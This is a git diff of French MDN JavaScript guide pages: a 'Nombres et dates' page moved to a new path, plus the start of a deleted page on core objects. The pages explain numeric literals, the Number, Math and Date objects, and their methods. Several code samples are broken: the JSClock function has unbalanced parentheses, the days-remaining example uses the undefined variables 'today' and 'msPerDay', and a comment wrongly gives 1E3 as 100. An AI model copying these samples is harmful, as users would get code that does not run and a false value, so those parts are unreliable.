-var plusPetitNombre = Number.MIN_VALUE;
-var infini = Number.POSITIVE_INFINITY;
-var infiniNégatif = Number.NEGATIVE_INFINITY;
-var pasUnNombre = Number.NaN;
-
- -

On utilisera toujours ces valeurs directement avec l'objet natif Number (et non pas avec les propriétés d'une instance d'un objet Number qu'on aurait créé).

- -

Le tableau qui suit liste certaines des propriétés de Number.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Propriétés de Number
PropriétéDescription
{{jsxref("Number.MAX_VALUE")}}Le plus grand nombre qu'on peut représenter en JavaScript (±1.7976931348623157e+308).
{{jsxref("Number.MIN_VALUE")}}Le plus petit nombre qu'on peut représenter en JavaScript (±5e-324).
{{jsxref("Number.NaN")}}Une valeur spéciale signifiant que la valeur n'est pas un nombre.
{{jsxref("Number.NEGATIVE_INFINITY")}}L'infini négatif, renvoyé lorsqu'on dépasse la valeur minimale.
{{jsxref("Number.POSITIVE_INFINITY")}}L'infini positif, renvoyé lorsqu'on dépasse la valeur maximale.
{{jsxref("Number.EPSILON")}}La différence entre 1 et la première valeur supérieure à 1 qui puisse être représentée comme {{jsxref("Number")}}. (2.220446049250313e-16)
{{jsxref("Number.MIN_SAFE_INTEGER")}}Le plus petit entier qu'on puisse représenter en JavaScript. (−253 + 1 ou −9007199254740991)
{{jsxref("Number.MAX_SAFE_INTEGER")}} -

L'entier le plus grand qu'on puisse représenter en JavaScript (+253 − 1 ou +9007199254740991)

-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Méthodes de Number
MéthodeDescription
{{jsxref("Number.parseFloat()")}}Analyse un argument qui est une chaîne de caractères et renvoie un nombre décimal. Cette méthode est équivalente à la fonction {{jsxref("parseFloat", "parseFloat()")}}.
{{jsxref("Number.parseInt()")}}Analyse un argument qui est une chaîne de caractères et renvoie un entier exprimé dans une base donnée. Cette méthode est équivalente à la fonction {{jsxref("parseInt", "parseInt()")}}.
{{jsxref("Number.isFinite()")}}Détermine si la valeur passée en argument est un nombre fini.
{{jsxref("Number.isInteger()")}}Détermine si la valeur passée en argument est un nombre entier.
{{jsxref("Number.isNaN()")}}Détermine si la valeur passée en argument est {{jsxref("NaN")}}. Cette version est plus robuste que la fonction globale {{jsxref("Objets_globaux/isNaN", "isNaN()")}}.
{{jsxref("Number.isSafeInteger()")}}Détermine si la valeur fournie est un nombre qu'il est possible de représenter comme un entier sans perdre d'information.
- -

Le prototype de Number fournit certaines méthodes pour exprimer les valeurs représentées par les objets Number dans différents formats. Le tableau suivant liste certaines de ces méthodes de Number.prototype.

- - - - - - - - - - - - - - - - - - - - - - - -
Méthodes of Number.prototype
MéthodeDescription
{{jsxref("Number.toExponential", "toExponential()")}}Renvoie une chaîne de caractères représentant le nombre en notation exponentielle.
{{jsxref("Number.toFixed", "toFixed()")}}Renvoie une chaîne de caractères représentant le nombre en notation à point fixe.
{{jsxref("Number.toPrecision", "toPrecision()")}}Renvoie une chaîne de caractères représentant le nombre en notation à point fixe avec une précision donnée.
- -

L'objet Math

- -

L'objet natif {{jsxref("Math")}} possède des propriétés et des méthodes statiques pour représenter des constantes et des fonctions mathématiques. Ainsi, la propriété PI de l'objet Math représente la valeur de la constante π\pi (3.141...), on peut l'utiliser dans les applications avec :

- -
Math.PI
-
- -

De la même façon, les fonctions mathématiques usuelles sont des méthodes de Math. On retrouve par exemple les fonctions trigonométriques, logarithmiques et exponentielles ainsi que d'autres fonctions. Si on souhaite utiliser la fonction sinus, on pourra écrire :

- -
Math.sin(1.56)
-
- -
-

Note : Les méthodes trigonométriques de Math prennent des arguments exprimés en radians.

-
- -

Le tableau suivant liste les méthodes de l'objet Math.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Méthodes de Math
MéthodeDescription
{{jsxref("Math.abs", "abs()")}}Valeur absolue
{{jsxref("Math.sin", "sin()")}}, {{jsxref("Math.cos", "cos()")}}, {{jsxref("Math.tan", "tan()")}}Fonctions trigonométriques standards (les arguments sont exprimés en radians)
{{jsxref("Math.asin", "asin()")}}, {{jsxref("Math.acos", "acos()")}}, {{jsxref("Math.atan", "atan()")}}, {{jsxref("Math.atan2", "atan2()")}}Fonctions trigonométriques inverses (les valeurs renvoyées sont exprimées en radians)
{{jsxref("Math.sinh", "sinh()")}}, {{jsxref("Math.cosh", "cosh()")}}, {{jsxref("Math.tanh", "tanh()")}}Fonctions trigonométriques hyperboliques (les arguments sont exprimés en radians)
{{jsxref("Math.asinh", "asinh()")}}, {{jsxref("Math.acosh", "acosh()")}}, {{jsxref("Math.atanh", "atanh()")}}Fonctions trigonométriques hyperboliques inverses (les valeurs renvoyées sont exprimées en radians).
{{jsxref("Math.pow", "pow()")}}, {{jsxref("Math.exp", "exp()")}}, {{jsxref("Math.expm1", "expm1()")}}, {{jsxref("Math.log10", "log10()")}}, {{jsxref("Math.log1p", "log1p()")}}, {{jsxref("Math.log2", "log2()")}}Fonctions exponentielles et logarithmiques
{{jsxref("Math.floor", "floor()")}}, {{jsxref("Math.ceil", "ceil()")}}Renvoie le plus petit/grand entier inférieur/supérieur ou égal à l'argument donné
{{jsxref("Math.min", "min()")}}, {{jsxref("Math.max", "max()")}}Renvoie le plus petit (resp. grand) nombre d'une liste de nombres séparés par des virgules
{{jsxref("Math.random", "random()")}}Renvoie un nombre aléatoire compris entre 0 et 1
{{jsxref("Math.round", "round()")}}, {{jsxref("Math.fround", "fround()")}}, {{jsxref("Math.trunc", "trunc()")}},Fonctions d'arrondis et de troncature
{{jsxref("Math.sqrt", "sqrt()")}}, {{jsxref("Math.cbrt", "cbrt()")}}, {{jsxref("Math.hypot", "hypot()")}}Racine carrée, cubique et racine carrée de la somme des carrés des arguments
{{jsxref("Math.sign", "sign()")}}Renvoie le signe d'un nombre et indique si la valeur est négative, positive ou nulle
{{jsxref("Math.clz32", "clz32()")}},
- {{jsxref("Math.imul", "imul()")}}		Le nombre de zéros qui commencent un nombre sur 32 bits en représentation binaire.
- La résultat de la multiplication de deux arguments sur 32 bits effectuée comme en C.
- -

À la différence des autres objets, on ne crée pas d'objet de type Math. Ses propriétés sont statiques, on les appelle donc toujours depuis l'objet Math.

- -

L'objet Date

- -

JavaScript ne possède pas de type primitif pour représenter des dates. Cependant l'objet {{jsxref("Date")}} et ses méthodes permettent de manipuler des dates et des heures au sein d'une application. L'objet Date possède de nombreuses méthodes pour définir, modifier, obtenir des dates. Il ne possède pas de propriétés.

- -

JavaScript gère les dates de façon similaire à Java. Les deux langages possèdent de nombreuses méthodes en commun et les deux langages stockent les dates selon les nombres de millisecondes écoulées depuis le premier janvier 1970 à 00h00:00.

- -

L'objet Date permet de représenter des dates allant de -100 000 000 jours jusqu'à +100 000 000 jours par rapport au premier janvier 1970 UTC.

- -

Pour créer un objet Date, on utilisera la syntaxe suivante :

- -
var monObjetDate = new Date([paramètres]);
-
- -

avec monObjetDate étant le nom de l'objet à créer, cela peut être un nouvel objet ou une propriété d'un objet existant.

- -

Lorsqu'on appelle Date sans le mot-clé new, cela renvoie la date fournie sous la forme d'une chaîne de caractères.

- -

Les paramètres qui peuvent être utilisés sont :

- -
    -
  • Aucun paramètre : l'objet créé représentera la date et l'heure courante.
    • -
  • Une chaîne de caractères représentant une date au format suivant : "jour, année heures:minutes:secondes". Par exemple var noël95 = new Date("December 25, 1995 13:30:00"). Si les valeurs pour les heures, minutes ou secondes sont absentes, elles vaudront 0 par défaut.
    • -
  • Un ensemble de valeurs entières pour l'année, le mois et le jour : var noël95 = new Date(1995, 11, 25).
    • -
  • Un ensemble de valeurs entières pour l'année, le mois, le jour, l'heure, les minutes et les secondes : var noël95 = new Date(1995, 11, 25, 9, 30, 0);.
    • -
- -

Méthodes de l'objet Date

- -

Les méthodes de l'objet Date se répartissent en différentes catégories :

- -
    -
  • celles utilisées pour définir et modifier les valeurs des objets Date (mutateurs).
    • -
  • celles utilisées pour obtenir des informations à partir des objets Date (accesseurs).
    • -
  • celles utilisées pour convertir les objets Date sous différents formats (souvent en chaînes de caractères).
    • -
  • celles utilisées pour analyser et convertir des chaînes de caractères représentant des dates.
    • -
- -

Avec les accesseurs et les mutateurs, il est possible d'obtenir ou de modifier séparément les secondes, les minutes, les heures, le jour du mois ou de la semaine, le mois et l'année. Il existe une méthode getDay qui renvoie le jour de la semaine mais il n'existe pas de méthode réciproque setDay car le jour de la semaine est automatiquement déterminé. Ces méthodes utilisent des entiers pour représenter les valeurs utilisées :

- -
    -
  • Pour les secondes et les minutes : 0 à 59
    • -
  • Pour les heures : 0 à 23
    • -
  • Pour les jours : 0 (dimanche) à 6 (samedi)
    • -
  • Pour les dates : 1 à 31 (jour du mois)
    • -
  • Pour les mois : 0 (janvier) à 11 (décembre)
    • -
  • Pour les années : les années à partir de 1900
    • -
- -

Ainsi, si on définit la date suivante :

- -
var noël95 = new Date("December 25, 1995");
-
- -

noël95.getMonth() renverra 11, et noël95.getFullYear() renverra 1995.

- -

Les méthodes getTime et setTime peuvent être utiles pour comparer des dates entre elles. La méthode getTime renvoie le nombre de millisecondes écoulées depuis le premier janvier 1970 à 00:00:00 pour l'objet Date.

- -

Par exemple, les instructions suivantes affichent le nombre de jours qui restent pour l'année courante :

- -
var aujourdhui = new Date();
-// On définit le jour et le mois
-var finAnnée = new Date(1995, 11, 31, 23, 59, 59, 999);
-// On définit l'année avec l'année courante
-finAnnée.setFullYear(aujourdhui.getFullYear());
-// On calcule le nombre de millisecondes par jour
-var msParJour = 24 * 60 * 60 * 1000;
-
-// On renvoie le nombre de jours restants dans l'année
-var joursRestants = (finAnnée.getTime() - today.getTime()) / msPerDay;
-joursRestants = Math.round(joursRestants);
- -

Cet exemple crée un objet Date nommé aujourdhui qui contient la date du jour. On crée ensuite un objet Date nommé finAnnée pour lequel on définit ensuite l'année avec l'année courante. Après, on calcule le nombre de millisecondes qui s'écoulent dans une journée. Enfin, on calcule le nombre de jours entre aujourdhui et finAnnée en utilisant getTime puis on arrondit le tout pour avoir un nombre de jours.

- -

La méthode parse est utile lorsqu'on souhaite affecter des valeurs temporelles à partir de chaînes de caractères. Par exemple, dans le code qui suit, on utilise les méthodes parse et setTime pour affecter la valeur d'une date à un objet IPOdate :

- -
var IPOdate = new Date();
-IPOdate.setTime(Date.parse("Aug 9, 1995"));
-
- -

Exemple d'utilisation de l'objet Date

- -

Dans l'exemple qui suit, la fonction JSClock() renvoie le temps au format d'une horloge numérique représentant les heures sur 12 heures :

- -
function JSClock() {
-  var temps = new Date();
-  var heures = temps.getHours();
-  var minutes = temps.getMinutes();
-  var secondes = temps.getSeconds();
-  var calc = "" + (heures > 12) ? heures - 12 : heures);
-  if (heures == 0)
-    calc = "12";
-  calc += ((minutes < 10) ? ":0" : ":") + minutes;
-  calc += ((secondes < 10) ? ":0" : ":") + secondes;
-  calc += (heures >= 12) ? " P.M." : " A.M.";
-  return calc;
-}
-
- -

Pour commencer, la fonction JSClock crée un objet Date appelé temps qui représente la date et l'heure à l'instant où la fonction est exécutée. Ensuite, les méthodes getHours, getMinutes, et getSeconds sont appelées afin d'affecter les valeurs correspondantes à heures, minutes, et secondes.

- -

Les quatre instructions suivantes permettent de construire une chaîne de caractères à partir de la valeur temporelle. La première instruction crée une variable calc et lui affecte une valeur avec une expression conditionnelle : si heures est supérieure à 12, on affichera (heures - 12), sinon on affichera l'heure sauf si c'est 0 auquel cas on affichera 12.

- -

L'instruction qui suit concatène la valeur de minutes à calc. Si la valeur de minutes est inférieure à 10, l'expression conditionnelle ajoutera une chaîne avec un zéro pour que la valeur soit affichée avec deux chiffres. De la même façon, l'instruction qui suit concatène la valeur de calc avec les secondes.

- -

Enfin, une expression conditionnelle est utilisée pour ajouter "P.M." à calc si heures vaut 12 ou plus, sinon ce sera la chaîne "A.M." qui sera ajoutée à la fin de calc.

- -

{{PreviousNext("Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs", "Web/JavaScript/Guide/Formatage_du_texte")}}

diff --git a/files/fr/web/javascript/guide/numbers_and_dates/index.html b/files/fr/web/javascript/guide/numbers_and_dates/index.html new file mode 100644 index 0000000000..a7debdc697 --- /dev/null +++ b/files/fr/web/javascript/guide/numbers_and_dates/index.html @@ -0,0 +1,387 @@ +--- +title: Nombres et dates +slug: Web/JavaScript/Guide/Nombres_et_dates +tags: + - Guide + - JavaScript +translation_of: Web/JavaScript/Guide/Numbers_and_dates +--- +
{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs", "Web/JavaScript/Guide/Formatage_du_texte")}}
+ +

Ce chapitre illustre le fonctionnement des nombres et des dates en JavaScript grâce aux concepts, objets et fonctions utilisables avec ce langage. Cela inclut notamment l'écriture de nombre selon différentes bases (décimale, binaire, hexadécimale) et l'utilisation de l'objet global {{jsxref("Math")}}.

+ +

Nombres

+ +

Les nombres en JavaScript sont implémentés comme des nombres sur 64 bits à précision double selon le format IEEE-754 qui est un standard pour la représentation des nombres flottants et qui permet d'avoir jusqu'à 16 chiffres significatifs. Le type numérique possède également trois valeurs spéciales symboliques : +{{jsxref("Infinity")}}, -{{jsxref("Infinity")}} et {{jsxref("NaN")}} (pour désigner une valeur qui n'est pas un nombre).

+ +

Le format IEEE-754 permet de représenter des valeurs entre ±2−1022 et ±2+1023, ce qui correspond à des valeurs entre ±10−308 et ±10+308 avec une précision sur 53 bits. Les nombres entiers compris sur l'intervalle ±253 − 1 peuvent être représentés exactement.

+ +

Le type {{jsxref("BigInt")}} est une addition récente à JavaScript qui permet de représenter de grands entiers. Toutefois, il n'est pas possible de mélanger les BigInt et les nombres ({{jsxref("Number")}}) dans les mêmes opérations et on ne peut pas utiliser l'objet {{jsxref("Math")}} avec les valeurs BigInt.

+ +

Voir également les types de données et structures JavaScript pour l'articulation des types primitifs en JavaScript.

+ +

Il est possible d'utiliser quatre types de littéraux numériques : décimal, binaire, octal et hexadécimal.

+ +

Les nombres décimaux

+ +
1234567980;
+42;
+
+// Attention à l'utilisation des zéros
+// en début de nombre
+
+0888; // 888 analysé en base décimale
+0777; // en mode non-strict, analysé en base octale,
+      // ce qui correspond
+      // à 511 en base décimale
+
+ +

On voit ici que les littéraux numériques qui commencent par un zéro (0) et contiennent un chiffre strictement inférieur à 8 après ce 0 sont analysés comme étant exprimés en base octale.

+ +

Les nombres binaires

+ +

Pour utiliser des nombres binaires, on utilise un littéral qui commence par un 0 suivi d'un b minuscule ou majuscule (0b ou 0B). Si les chiffres qui suivent ce préfixe ne sont pas des 0 ou des 1, une exception {{jsxref("SyntaxError")}} sera levée.

+ +
var FLT_BITSIGNE = 0b10000000000000000000000000000000; // 2147483648
+var FLT_EXPOSANT = 0b01111111100000000000000000000000; // 2139095040
+var FLT_MANTISSE = 0B00000000011111111111111111111111; // 8388607
+
+ +

Les nombres octaux

+ +

Pour utiliser des nombres en base octale, on utilisera un préfixe avec un 0. Si les nombres qui suivent ce 0 ne sont pas compris entre 0 et 7 (au sens strict), le nombre sera interprété comme un nombre décimal.

+ +
var n = 0755; // 493 en base 10
+var m = 0644; // 420 en base 10
+
+ +

En mode strict, ECMAScript 5 interdit cette syntaxe octale. Cette syntaxe ne fait pas partie d'ECMAScript 5 mais est supportée par la majorité des navigateurs. Avec ECMAScript 2015 (ES6), il est possible de représenter un nombre en notation octale grâce au préfixe "0o" :

+ +
var a = 0o10; // Notation octale pour ES2015
+ +

Les nombres hexadécimaux

+ +

Pour utiliser des nombres exprimés en base hexadécimale, on utilisera un préfixe avec un zéro suivi d'un x majuscule ou minuscule (0x ou 0X). Si les chiffres qui suivent ce préfixe ne sont pas 0123456789ABCDEF, cela provoquera une exception {{jsxref("SyntaxError")}}.

+ +
0xFFFFFFFFFFFFFFFFF // 295147905179352830000
+0x123456789ABCDEF   // 81985529216486900
+0XA                 // 10
+
+ +

Notation scientifique

+ +
1E3   // 100
+2e6   // 2000000
+0.1e2 // 10
+
+ +

L'objet Number

+ +

L'objet {{jsxref("Number")}} possède certaines propriétés représentant les constantes numériques telles que : la valeur maximale représentable en JavaScript, une valeur spéciale pour dire que la valeur numérique n'est pas un nombre et l'infini. Ces valeurs ne peuvent pas être modifiées, on pourra les utiliser de la façon suivante :

+ +
var plusGrandNombre = Number.MAX_VALUE;
+var plusPetitNombre = Number.MIN_VALUE;
+var infini = Number.POSITIVE_INFINITY;
+var infiniNégatif = Number.NEGATIVE_INFINITY;
+var pasUnNombre = Number.NaN;
+
+ +

On utilisera toujours ces valeurs directement avec l'objet natif Number (et non pas avec les propriétés d'une instance d'un objet Number qu'on aurait créé).

+ +

Le tableau qui suit liste certaines des propriétés de Number.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Propriétés de Number
PropriétéDescription
{{jsxref("Number.MAX_VALUE")}}Le plus grand nombre qu'on peut représenter en JavaScript (±1.7976931348623157e+308).
{{jsxref("Number.MIN_VALUE")}}Le plus petit nombre qu'on peut représenter en JavaScript (±5e-324).
{{jsxref("Number.NaN")}}Une valeur spéciale signifiant que la valeur n'est pas un nombre.
{{jsxref("Number.NEGATIVE_INFINITY")}}L'infini négatif, renvoyé lorsqu'on dépasse la valeur minimale.
{{jsxref("Number.POSITIVE_INFINITY")}}L'infini positif, renvoyé lorsqu'on dépasse la valeur maximale.
{{jsxref("Number.EPSILON")}}La différence entre 1 et la première valeur supérieure à 1 qui puisse être représentée comme {{jsxref("Number")}}. (2.220446049250313e-16)
{{jsxref("Number.MIN_SAFE_INTEGER")}}Le plus petit entier qu'on puisse représenter en JavaScript. (−253 + 1 ou −9007199254740991)
{{jsxref("Number.MAX_SAFE_INTEGER")}} +

L'entier le plus grand qu'on puisse représenter en JavaScript (+253 − 1 ou +9007199254740991)

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Méthodes de Number
MéthodeDescription
{{jsxref("Number.parseFloat()")}}Analyse un argument qui est une chaîne de caractères et renvoie un nombre décimal. Cette méthode est équivalente à la fonction {{jsxref("parseFloat", "parseFloat()")}}.
{{jsxref("Number.parseInt()")}}Analyse un argument qui est une chaîne de caractères et renvoie un entier exprimé dans une base donnée. Cette méthode est équivalente à la fonction {{jsxref("parseInt", "parseInt()")}}.
{{jsxref("Number.isFinite()")}}Détermine si la valeur passée en argument est un nombre fini.
{{jsxref("Number.isInteger()")}}Détermine si la valeur passée en argument est un nombre entier.
{{jsxref("Number.isNaN()")}}Détermine si la valeur passée en argument est {{jsxref("NaN")}}. Cette version est plus robuste que la fonction globale {{jsxref("Objets_globaux/isNaN", "isNaN()")}}.
{{jsxref("Number.isSafeInteger()")}}Détermine si la valeur fournie est un nombre qu'il est possible de représenter comme un entier sans perdre d'information.
+ +

Le prototype de Number fournit certaines méthodes pour exprimer les valeurs représentées par les objets Number dans différents formats. Le tableau suivant liste certaines de ces méthodes de Number.prototype.

+ + + + + + + + + + + + + + + + + + + + + + + +
Méthodes of Number.prototype
MéthodeDescription
{{jsxref("Number.toExponential", "toExponential()")}}Renvoie une chaîne de caractères représentant le nombre en notation exponentielle.
{{jsxref("Number.toFixed", "toFixed()")}}Renvoie une chaîne de caractères représentant le nombre en notation à point fixe.
{{jsxref("Number.toPrecision", "toPrecision()")}}Renvoie une chaîne de caractères représentant le nombre en notation à point fixe avec une précision donnée.
+ +

L'objet Math

+ +

L'objet natif {{jsxref("Math")}} possède des propriétés et des méthodes statiques pour représenter des constantes et des fonctions mathématiques. Ainsi, la propriété PI de l'objet Math représente la valeur de la constante π\pi (3.141...), on peut l'utiliser dans les applications avec :

+ +
Math.PI
+
+ +

De la même façon, les fonctions mathématiques usuelles sont des méthodes de Math. On retrouve par exemple les fonctions trigonométriques, logarithmiques et exponentielles ainsi que d'autres fonctions. Si on souhaite utiliser la fonction sinus, on pourra écrire :

+ +
Math.sin(1.56)
+
+ +
+

Note : Les méthodes trigonométriques de Math prennent des arguments exprimés en radians.

+
+ +

Le tableau suivant liste les méthodes de l'objet Math.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Méthodes de Math
MéthodeDescription
{{jsxref("Math.abs", "abs()")}}Valeur absolue
{{jsxref("Math.sin", "sin()")}}, {{jsxref("Math.cos", "cos()")}}, {{jsxref("Math.tan", "tan()")}}Fonctions trigonométriques standards (les arguments sont exprimés en radians)
{{jsxref("Math.asin", "asin()")}}, {{jsxref("Math.acos", "acos()")}}, {{jsxref("Math.atan", "atan()")}}, {{jsxref("Math.atan2", "atan2()")}}Fonctions trigonométriques inverses (les valeurs renvoyées sont exprimées en radians)
{{jsxref("Math.sinh", "sinh()")}}, {{jsxref("Math.cosh", "cosh()")}}, {{jsxref("Math.tanh", "tanh()")}}Fonctions trigonométriques hyperboliques (les arguments sont exprimés en radians)
{{jsxref("Math.asinh", "asinh()")}}, {{jsxref("Math.acosh", "acosh()")}}, {{jsxref("Math.atanh", "atanh()")}}Fonctions trigonométriques hyperboliques inverses (les valeurs renvoyées sont exprimées en radians).
{{jsxref("Math.pow", "pow()")}}, {{jsxref("Math.exp", "exp()")}}, {{jsxref("Math.expm1", "expm1()")}}, {{jsxref("Math.log10", "log10()")}}, {{jsxref("Math.log1p", "log1p()")}}, {{jsxref("Math.log2", "log2()")}}Fonctions exponentielles et logarithmiques
{{jsxref("Math.floor", "floor()")}}, {{jsxref("Math.ceil", "ceil()")}}Renvoie le plus petit/grand entier inférieur/supérieur ou égal à l'argument donné
{{jsxref("Math.min", "min()")}}, {{jsxref("Math.max", "max()")}}Renvoie le plus petit (resp. grand) nombre d'une liste de nombres séparés par des virgules
{{jsxref("Math.random", "random()")}}Renvoie un nombre aléatoire compris entre 0 et 1
{{jsxref("Math.round", "round()")}}, {{jsxref("Math.fround", "fround()")}}, {{jsxref("Math.trunc", "trunc()")}},Fonctions d'arrondis et de troncature
{{jsxref("Math.sqrt", "sqrt()")}}, {{jsxref("Math.cbrt", "cbrt()")}}, {{jsxref("Math.hypot", "hypot()")}}Racine carrée, cubique et racine carrée de la somme des carrés des arguments
{{jsxref("Math.sign", "sign()")}}Renvoie le signe d'un nombre et indique si la valeur est négative, positive ou nulle
{{jsxref("Math.clz32", "clz32()")}},
+ {{jsxref("Math.imul", "imul()")}}		Le nombre de zéros qui commencent un nombre sur 32 bits en représentation binaire.
+ La résultat de la multiplication de deux arguments sur 32 bits effectuée comme en C.
+ +

À la différence des autres objets, on ne crée pas d'objet de type Math. Ses propriétés sont statiques, on les appelle donc toujours depuis l'objet Math.

+ +

L'objet Date

+ +

JavaScript ne possède pas de type primitif pour représenter des dates. Cependant l'objet {{jsxref("Date")}} et ses méthodes permettent de manipuler des dates et des heures au sein d'une application. L'objet Date possède de nombreuses méthodes pour définir, modifier, obtenir des dates. Il ne possède pas de propriétés.

+ +

JavaScript gère les dates de façon similaire à Java. Les deux langages possèdent de nombreuses méthodes en commun et les deux langages stockent les dates selon les nombres de millisecondes écoulées depuis le premier janvier 1970 à 00h00:00.

+ +

L'objet Date permet de représenter des dates allant de -100 000 000 jours jusqu'à +100 000 000 jours par rapport au premier janvier 1970 UTC.

+ +

Pour créer un objet Date, on utilisera la syntaxe suivante :

+ +
var monObjetDate = new Date([paramètres]);
+
+ +

avec monObjetDate étant le nom de l'objet à créer, cela peut être un nouvel objet ou une propriété d'un objet existant.

+ +

Lorsqu'on appelle Date sans le mot-clé new, cela renvoie la date fournie sous la forme d'une chaîne de caractères.

+ +

Les paramètres qui peuvent être utilisés sont :

+ +
    +
  • Aucun paramètre : l'objet créé représentera la date et l'heure courante.
    • +
  • Une chaîne de caractères représentant une date au format suivant : "jour, année heures:minutes:secondes". Par exemple var noël95 = new Date("December 25, 1995 13:30:00"). Si les valeurs pour les heures, minutes ou secondes sont absentes, elles vaudront 0 par défaut.
    • +
  • Un ensemble de valeurs entières pour l'année, le mois et le jour : var noël95 = new Date(1995, 11, 25).
    • +
  • Un ensemble de valeurs entières pour l'année, le mois, le jour, l'heure, les minutes et les secondes : var noël95 = new Date(1995, 11, 25, 9, 30, 0);.
    • +
+ +

Méthodes de l'objet Date

+ +

Les méthodes de l'objet Date se répartissent en différentes catégories :

+ +
    +
  • celles utilisées pour définir et modifier les valeurs des objets Date (mutateurs).
    • +
  • celles utilisées pour obtenir des informations à partir des objets Date (accesseurs).
    • +
  • celles utilisées pour convertir les objets Date sous différents formats (souvent en chaînes de caractères).
    • +
  • celles utilisées pour analyser et convertir des chaînes de caractères représentant des dates.
    • +
+ +

Avec les accesseurs et les mutateurs, il est possible d'obtenir ou de modifier séparément les secondes, les minutes, les heures, le jour du mois ou de la semaine, le mois et l'année. Il existe une méthode getDay qui renvoie le jour de la semaine mais il n'existe pas de méthode réciproque setDay car le jour de la semaine est automatiquement déterminé. Ces méthodes utilisent des entiers pour représenter les valeurs utilisées :

+ +
    +
  • Pour les secondes et les minutes : 0 à 59
    • +
  • Pour les heures : 0 à 23
    • +
  • Pour les jours : 0 (dimanche) à 6 (samedi)
    • +
  • Pour les dates : 1 à 31 (jour du mois)
    • +
  • Pour les mois : 0 (janvier) à 11 (décembre)
    • +
  • Pour les années : les années à partir de 1900
    • +
+ +

Ainsi, si on définit la date suivante :

+ +
var noël95 = new Date("December 25, 1995");
+
+ +

noël95.getMonth() renverra 11, et noël95.getFullYear() renverra 1995.

+ +

Les méthodes getTime et setTime peuvent être utiles pour comparer des dates entre elles. La méthode getTime renvoie le nombre de millisecondes écoulées depuis le premier janvier 1970 à 00:00:00 pour l'objet Date.

+ +

Par exemple, les instructions suivantes affichent le nombre de jours qui restent pour l'année courante :

+ +
var aujourdhui = new Date();
+// On définit le jour et le mois
+var finAnnée = new Date(1995, 11, 31, 23, 59, 59, 999);
+// On définit l'année avec l'année courante
+finAnnée.setFullYear(aujourdhui.getFullYear());
+// On calcule le nombre de millisecondes par jour
+var msParJour = 24 * 60 * 60 * 1000;
+
+// On renvoie le nombre de jours restants dans l'année
+var joursRestants = (finAnnée.getTime() - today.getTime()) / msPerDay;
+joursRestants = Math.round(joursRestants);
+ +

Cet exemple crée un objet Date nommé aujourdhui qui contient la date du jour. On crée ensuite un objet Date nommé finAnnée pour lequel on définit ensuite l'année avec l'année courante. Après, on calcule le nombre de millisecondes qui s'écoulent dans une journée. Enfin, on calcule le nombre de jours entre aujourdhui et finAnnée en utilisant getTime puis on arrondit le tout pour avoir un nombre de jours.

+ +

La méthode parse est utile lorsqu'on souhaite affecter des valeurs temporelles à partir de chaînes de caractères. Par exemple, dans le code qui suit, on utilise les méthodes parse et setTime pour affecter la valeur d'une date à un objet IPOdate :

+ +
var IPOdate = new Date();
+IPOdate.setTime(Date.parse("Aug 9, 1995"));
+
+ +

Exemple d'utilisation de l'objet Date

+ +

Dans l'exemple qui suit, la fonction JSClock() renvoie le temps au format d'une horloge numérique représentant les heures sur 12 heures :

+ +
function JSClock() {
+  var temps = new Date();
+  var heures = temps.getHours();
+  var minutes = temps.getMinutes();
+  var secondes = temps.getSeconds();
+  var calc = "" + (heures > 12) ? heures - 12 : heures);
+  if (heures == 0)
+    calc = "12";
+  calc += ((minutes < 10) ? ":0" : ":") + minutes;
+  calc += ((secondes < 10) ? ":0" : ":") + secondes;
+  calc += (heures >= 12) ? " P.M." : " A.M.";
+  return calc;
+}
+
+ +

Pour commencer, la fonction JSClock crée un objet Date appelé temps qui représente la date et l'heure à l'instant où la fonction est exécutée. Ensuite, les méthodes getHours, getMinutes, et getSeconds sont appelées afin d'affecter les valeurs correspondantes à heures, minutes, et secondes.

+ +

Les quatre instructions suivantes permettent de construire une chaîne de caractères à partir de la valeur temporelle. La première instruction crée une variable calc et lui affecte une valeur avec une expression conditionnelle : si heures est supérieure à 12, on affichera (heures - 12), sinon on affichera l'heure sauf si c'est 0 auquel cas on affichera 12.

+ +

L'instruction qui suit concatène la valeur de minutes à calc. Si la valeur de minutes est inférieure à 10, l'expression conditionnelle ajoutera une chaîne avec un zéro pour que la valeur soit affichée avec deux chiffres. De la même façon, l'instruction qui suit concatène la valeur de calc avec les secondes.

+ +

Enfin, une expression conditionnelle est utilisée pour ajouter "P.M." à calc si heures vaut 12 ou plus, sinon ce sera la chaîne "A.M." qui sera ajoutée à la fin de calc.

+ +

{{PreviousNext("Web/JavaScript/Guide/Expressions_et_Op%C3%A9rateurs", "Web/JavaScript/Guide/Formatage_du_texte")}}

diff --git "a/files/fr/web/javascript/guide/objets_\303\251l\303\251mentaires_javascript/index.html" "b/files/fr/web/javascript/guide/objets_\303\251l\303\251mentaires_javascript/index.html" deleted file mode 100644 index a251b58105..0000000000 --- "a/files/fr/web/javascript/guide/objets_\303\251l\303\251mentaires_javascript/index.html" +++ /dev/null @@ -1,899 +0,0 @@ ---- -title: Objets élémentaires JavaScript -slug: Web/JavaScript/Guide/Objets_élémentaires_JavaScript -tags: - - Guide - - JavaScript - - Objets JavaScript -translation_of: Web/JavaScript/Guide -translation_of_original: Web/JavaScript/Guide/Predefined_Core_Objects ---- -

{{jsSidebar("JavaScript Guide")}}

- -

Dans ce chapitre nous verrons les différents objets élémentaires qui existent en JavaScript : Array, Boolean, Date, Function, Math, Number, RegExp, et String.

- -

Les tableaux : objet Array

- -

JavaScript ne possède pas type primitif pour les tableaux. En revanche, il est possible d'utiliser l'objet natif Array ainsi que ses méthodes pour manipuler des tableaux. L'objet Array possède différentes méthodes pour manipuler les tableaux : fusion, inverse, tri... Il possède une propriété permettant de déterminer la longueur du tableau et d'autres propriétés qu'on peut utiliser avec les expressions rationnelles.

- -

